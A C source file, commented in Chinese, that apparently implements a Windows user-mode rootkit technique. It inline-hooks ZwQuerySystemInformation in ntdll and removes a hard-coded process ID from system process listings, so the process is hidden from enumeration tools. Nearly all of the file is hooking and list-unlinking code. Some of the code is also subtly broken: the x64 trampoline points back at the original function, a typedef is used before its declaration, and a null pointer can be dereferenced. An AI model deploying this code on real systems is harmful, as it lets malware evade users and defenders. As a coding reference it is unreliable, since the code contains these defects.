#include <Windows.h>

#include <winternl.h>

/\*

隐藏进程

实现原理:通过HOOKAPI ZwQuerySystemInformation可以实现进程隐藏.这是因为EnumProcess或者

CreateToolHelp32Snapshot遍历进程,都是通过ZwQuerySystemInformation函数来检索系统进程信息的.

实现方法:内联HOOK或者IAT HOOK

1. 获取ZwQuerySystemInformation函数地址

2. 根据32和64位版本,计算偏移,修改函数前xx字节数据

3. 先修改页属性,再修好内存数据,恢复页属性

4. 在My\_ZwQuerySystemInformation函数中判断是否检索要隐藏进程,

若是隐藏进程,遍历检索结果,剔除隐藏进程的信息,将修改数据返回

\*/

/\*

x86系统 修改前5字节

---------------------------------------------------

HOOK前: 0x41000 E8 007f00000 call OpenProcess

HOOK后: 0x41000 E9 000410000 call MyOpenProcess

填充地址计算公式: 跳转偏移 = 目标地址 - 指令所在 - 5

---------------------------------------------------

x64系统 修改前12字节

---------------------------------------------------

mov rax,目标地址 0x48 0xb8 00000000

跳转方式1: push rax 0x50

ret 0xC3

跳转方式2: jmp rax 0xff 0xe0

---------------------------------------------------

\*/

BYTE g\_OldData32[5] = { 0 };

BYTE g\_OldData64[12] = { 0 };

pfnZwQuerySystemInformation fnZwQuerySystemInformation = NULL;

typedef NTSTATUS (WINAPI\* pfnZwQuerySystemInformation)(

SYSTEM\_INFORMATION\_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength);

NTSTATUS WINAPI My\_ZwQuerySystemInformation(

SYSTEM\_INFORMATION\_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength)

{

DWORD dwHidePid = 1124; //1.要隐藏的进程ID

UnHook();

// 调用原函数

NTSTATUS status = fnZwQuerySystemInformation(SystemInformationClass, SystemInformation,

SystemInformationLength, ReturnLength);

// 判断

if (NT\_SUCCESS(status) && 5==SystemInformationClass)

{

PSYSTEM\_PROCESS\_INFORMATION pCur = (PSYSTEM\_PROCESS\_INFORMATION)SystemInformation;

PSYSTEM\_PROCESS\_INFORMATION pPrev = NULL;

while (TRUE)

{

//判断PID是否是隐藏进程

if (dwHidePid == (DWORD)pCur->UniqueProcessId)

{

//pPrev -- 指向前一个

//pCur -- 指向当前

//pNext -- 指向下一个

//找到隐藏进程,清除进程信息,即将pPrev的NextEntryOffset字段改为pNext偏移

if (0==pCur->NextEntryOffset && pPrev)

{

pPrev->NextEntryOffset = 0;

}

else

{

pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;

}

}

else

{

pPrev = pCur;

}

if (0 == pCur->NextEntryOffset)

{

break;

}

pCur = (PSYSTEM\_PROCESS\_INFORMATION)((BYTE\*)pCur + pCur->NextEntryOffset);

}

}

HookAPI();

return status;

}

void HookAPI()

{

// 1.获取Ntdll中的ZwQuerySystemInformation函数地址

HMODULE hNtdll = ::GetModuleHandleA("ntdll.dll");

fnZwQuerySystemInformation = \

(pfnZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");

if (!fnZwQuerySystemInformation)return;

// 2.修改地址

#ifndef \_WIN64

BYTE pData[5] = { 0xE9 };

DWORD dwOffset= (DWORD)My\_ZwQuerySystemInformation - (DWORD)fnZwQuerySystemInformation - 5;

::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));

//保存前5字节数据

::RtlCopyMemory(g\_OldData32, fnZwQuerySystemInformation, 5);

#else

BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0x50,0xC3 };

ULONGLONG dwDestAddr = (ULONGLONG)fnZwQuerySystemInformation;

::RtlCopyMemory(&pData[2], &dwDestAddr, sizeof(dwDestAddr));

//保存前12字节数据

::RtlCopyMemory(g\_OldData64, fnZwQuerySystemInformation, 12);

#endif

// 3.设置页面属性可读可写可执行

DWORD dwOldProtect = 0;

VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), PAGE\_EXECUTE\_READWRITE,

&dwOldProtect);

::RtlCopyMemory(fnZwQuerySystemInformation, pData, sizeof(pData));

VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), dwOldProtect,

&dwOldProtect);

}

void UnHook()

{

DWORD dwOldProtect = 0;

#ifndef \_WIN64

VirtualProtect(fnZwQuerySystemInformation, sizeof(g\_OldData32), PAGE\_EXECUTE\_READWRITE,

&dwOldProtect);

::RtlCopyMemory(fnZwQuerySystemInformation, g\_OldData32, sizeof(g\_OldData32));

VirtualProtect(fnZwQuerySystemInformation, sizeof(g\_OldData32), dwOldProtect,

&dwOldProtect);

#else

VirtualProtect(fnZwQuerySystemInformation, sizeof(g\_OldData64), PAGE\_EXECUTE\_READWRITE,

&dwOldProtect);

::RtlCopyMemory(fnZwQuerySystemInformation, g\_OldData64, sizeof(g\_OldData64));

VirtualProtect(fnZwQuerySystemInformation, sizeof(g\_OldData64), dwOldProtect,

&dwOldProtect);

#endif

}